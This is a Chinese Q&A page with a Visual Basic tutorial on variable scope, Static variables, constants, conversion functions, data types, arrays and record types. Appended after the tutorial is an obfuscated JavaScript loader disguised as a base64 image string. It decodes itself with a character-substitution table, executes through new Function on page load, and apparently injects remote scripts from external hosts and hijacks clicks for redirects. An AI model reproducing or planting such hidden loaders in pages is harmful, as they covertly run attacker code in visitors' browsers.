推荐回答(1个)
变量的作用域
局部(Local):在过程级定义的变量,仅在声明它的过程中可见。
模块/窗体(Modudule/Form):在模块或窗体级声明的变量,在声明它的模块或窗体中的所有过程中可见。
公有(Public):在模块或窗体级声明的变量,在所有项目的任何过程中都可见。
Static 关键字
普通的局部变量在过程结束后被释放,在下次执行过程时从新初始化为0。 用Static声明的局部变量在过程结束后不被释放,仍保留变量的值。 例如: Sub P()
Static I As Integer I=I+1
MsgBox "A=" & I End Sub
常量
常量是程序中不发生变化的值。它和变量一样有三种作用域: 它的定义语法如下:
[Public]Const con[As Type]=expression [Private]Const con[As Type]=expression []内为可以缺省项
数据类型转换
VisualBasic自动完成某些数据转换,为提高运行速度,我们通常使用CType() 函数显示地转换。
VisualBasic转换函数包括: CBool 转换为Boolean类型 CByte 转换为Byte类型 CCur 转换为Currency类型 CDate 转换为Date类型 CDbl 转换为Double类型 CInt 转换为Integer类型 CLng 转换为Long类型 CSng 转换为Single类型 CStr 转换为String类型 CVar 转换为Variant类型 CVErr 转换为Error类型
VB的数据类型(一)
Boolean(布尔型):占用2字节 Byte(字节):占用1字节.
Integer(整型):类型标识%,占用2字节. Long(长整型):标识"&",4字节.
Single(单精度型):标识"!",占用4字节. Double(双精度型):标识"#",8字节. Currency(货币型):标识"@",8字节. Date(日期型):8字节.
String(字符串,变长):标识"$",10字节+串长.
VB的数据类型(二)
String(字符串,定长):标识"$",串长. Object(对象型):占用4字节. Variant(变体,数值):占用16字节.
自定义(User_define):元素申请的长度之和.
VB的变量
变量名的命名遵从标识符命名规则.
变量的声明:VB可以使用不声明的变量.如:Form的Click过程,加入下列代码:Private sub Form_click() Stringtext$="Hello,World!" print "*********",Stringtext$ end sub
VB变量的声明
格式:Dim 变量 AS 类型 :说明局部变量 格式2:Private 变量 As 类型 :说明私有变量 格式3:Public 变量 As 类型 :说明公告全局变量 格式4:Static 变量 As 类型 : 说明静态变量 VB变量声明示例 变量声明
变量声明应注意的问题
Dim a,b,c As Integer是错误的.本意是将a,b,c都说明为Integer ,但实际上只有c被声明成Integer,而a,b缺省为Variant类型.
使用不带As的Dim语句,会被声明成Variant类型的变量. 对于声明boolean型的变量,其缺省值为False.
为声明为Date类型的变量赋值时,日期值应放在一对#之间,且多种日期和时间格式在VB中都是有效的.如: date1=#1-10-98#:date2=#10-1-98 12:20am#
VB变量的作用域和生存期
变量的作用域是指变量的有效作用范围,也就是变量可以被访问的范围.
VB按三种方式来定义变量的作用范围:过程(在过程内部使用Dim或Static),私有(在模块开头加上Dim或Private),公共(在模块开头加上Public)
变量的生存期是指VB保存该变量值的时间,是变量在整个程序运行过程中的有效生存时间.
过程变量
是指在过程或函数内部定义的变量,这种变量无论是用Dim还是Static声明,其作用域都只是该过程或函数体,在过程函数外不能引用.因此,在不同的过程或函数中可以存在相同名字的变量.
使用Dim和Static声明的过程变量的作用域都是一样的,但生存期不一样.用Dim声明变量时,它的生存随着包含它的过程或函数的运行而终止,VB不再保留其值.用Static声明的变量,其生存期为整个程序,在包含它的过程或函数再次被调用时,VB将不会再次对它初始化,其值为上次过程或函数调用完成后的值. 过程变量示例一 过程变量示例二
窗体层变量
它是在窗体的通用部分声明的变量,即不是在任何一个窗体内的过程或函数中声明的变量.它的作用范围至少是窗体的存在范围,即是在窗体内的每个过程或函数中都可以使用窗体层变量.可以用Dim\Private\Public声明.
对于用Dim和Private声明的窗体层变量,其作用范围都是在所声明的窗体范围内.用Public声明的窗体变量作为窗体公用数据成员,作用可以大于当前窗体范围.引用方式是"窗体名.变量名".
窗体层变量示例
模块层变量
在模块通用部分dim\private\global\public声明的变量."模块"在"工程"中选择"添加模块"菜单项来实现.
用dim\private 声明的模块层变量作用域为所在模块范围,用public\global定义的模块层变量则可以全局使用.引用方式是"模块名.变量名".
变量作用范围总结 过程 局域变量 过程 局域变量 窗体
窗体级变量在通用中声明,专用变量仅在此窗体中可见 模块
模块级变量在通用中声明专用变量仅在此模块中可见 全局变量 用public\global在模块声明
VB的常量
VB中的常量可分为:系统内在常量和符号常量.
系统内在常量:是系统提供的自身拥有的常量(如:表示颜色的常量P36).可与应用程序的对象,方法和属性一起使用.
符号常量:程序中用Const声明的常量,声明后,我们就可以用常量名来引用其代表的常数. 例如:const pi=3.1415926 VB符号常量的定义
语法:[Public|Private] Const 变量名[As 数据类型]=表达式.
其中Public 公有声明,使用Public声明的常量可在整个应用程序中使用,它必须在标准模块的声明区中使用.在窗体模块或类模块中不能声明Public常量.
Private 是私有声明,可用在模块级声明常量(是指放在窗体,类或标准模块内的声明;Private关键字不能在过程声明变量时使用. 使用VB常量应注意的问题
用const声明的常量在程序运行过程中是不能被重新赋值的. 在常量声明的同时赋值.
可以为声明的常量指定数据类型,如 const conVal As Currency=3.78
VB中的数组
数组是有相同数据类型的一组变量的集合.用Private,Public,Global或Dim语句来声明. 格式:Dim 数组名(lower,upper) As (type)
如:Dim record(5) As Integer Dim Matrix(2,3) As Integer
动态数组:带有空()的Dim 可以声明一个动态数组.如:Dim dnyArray() 静态数组
是指数组元素的个数是固定不变的,即它们占用的内存空间大小是固定不变的. 根据维数的不同,可分为一维数组和多维数组. VB动态数组
目的:根据需要来确定数目. 格式:Dim MyArry( ) As Integer
在用时,必须使用ReDim语句把它重新定义(即具体化). 静态数组和动态数组
静态数组是指数组元素的个数是不变的.
动态数组,可以在程序运行时根据需要,精确定义数组的大小.在声明数组时,不给出维数列表就是将数组声明为动态数组.如:Dim MyArry () As Integer
但使用时,还需使用ReDim语句把它重新定义,如ReDim MyArry(10,10) Lbound,Ubound函数与数组
LBound函数和Ubound函数都是返回一个Long型数据,前者得到的值为指定数组维可用的最小下标,而后者得到的是最大下标.
格式:Lbound(数组名[,指定的维数]) Ubound(数值组名[,指定的维数]) 使用数组时应注意
数组名命名规则和变量名的相同. 数组名后是用圆括弧,不能用方括弧.
下标的下界必须不能大于其上界.
记录类型数据
记录类型定义: [Private|Public] Type 记录类型名 成员列 End Type
在记录类型中声明静态数时,必须用数字文字或常量而不能用变量来声明. 定义记录类型变量:用来说明拥有这种类型的变量,如:Dim stu1,stu2 As stu. 记录类型变量的赋值和检索.
!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();